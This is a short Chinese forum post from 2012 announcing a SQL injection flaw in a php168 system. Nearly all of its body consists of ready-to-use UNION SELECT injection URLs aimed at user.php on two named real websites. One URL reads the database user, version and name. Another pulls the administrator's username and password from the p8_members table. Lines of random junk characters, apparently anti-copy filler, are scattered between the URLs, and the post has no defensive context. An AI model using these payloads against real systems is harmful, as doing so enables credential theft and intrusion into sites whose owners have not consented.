php168某系统注入漏洞

admin · 发表于 2012-10-18 08:52:44

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--) A" Z2 T2 r+ T- E0 ~; [' Q

, O) V, u9 R5 y$ _: }4 Z, c
) \& Z7 n* L/ f
. k4 j7 u; E# \http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--1 Z$ q0 k( S1 ~( u8 M: M1 b, K: e
                                                   + h+ R7 {3 q; w' T: ]$ t  c
                                                               7 ~+ b2 b+ H: |% {# P( Q- n1 Z
                                                      * F5 U* |) Q3 K0 K% ~$ K
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
& ?5 m7 S$ e% m. C: T- \7 X# @& l$ S

" T) C) T- g: i2 O2 ?7 E& _9 m& [) U7 `( h2 q! R
                                                         2 G% V, C, f6 D" S# m+ V$ e

3 w' K* p0 c& P, @2 q, |http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--; U4 x- D  k& d4 a9 f

" h' F$ J# f! L- D
) I3 i# _  Q1 b7 Y) E: c; i0 r
1 p" A: L5 d+ w! i! [" g
) p. X3 }  O- t' s8 ?

		自动登录	找回密码
密码			立即注册

php168某系统注入漏洞

本帖子中包含更多资源

相关帖子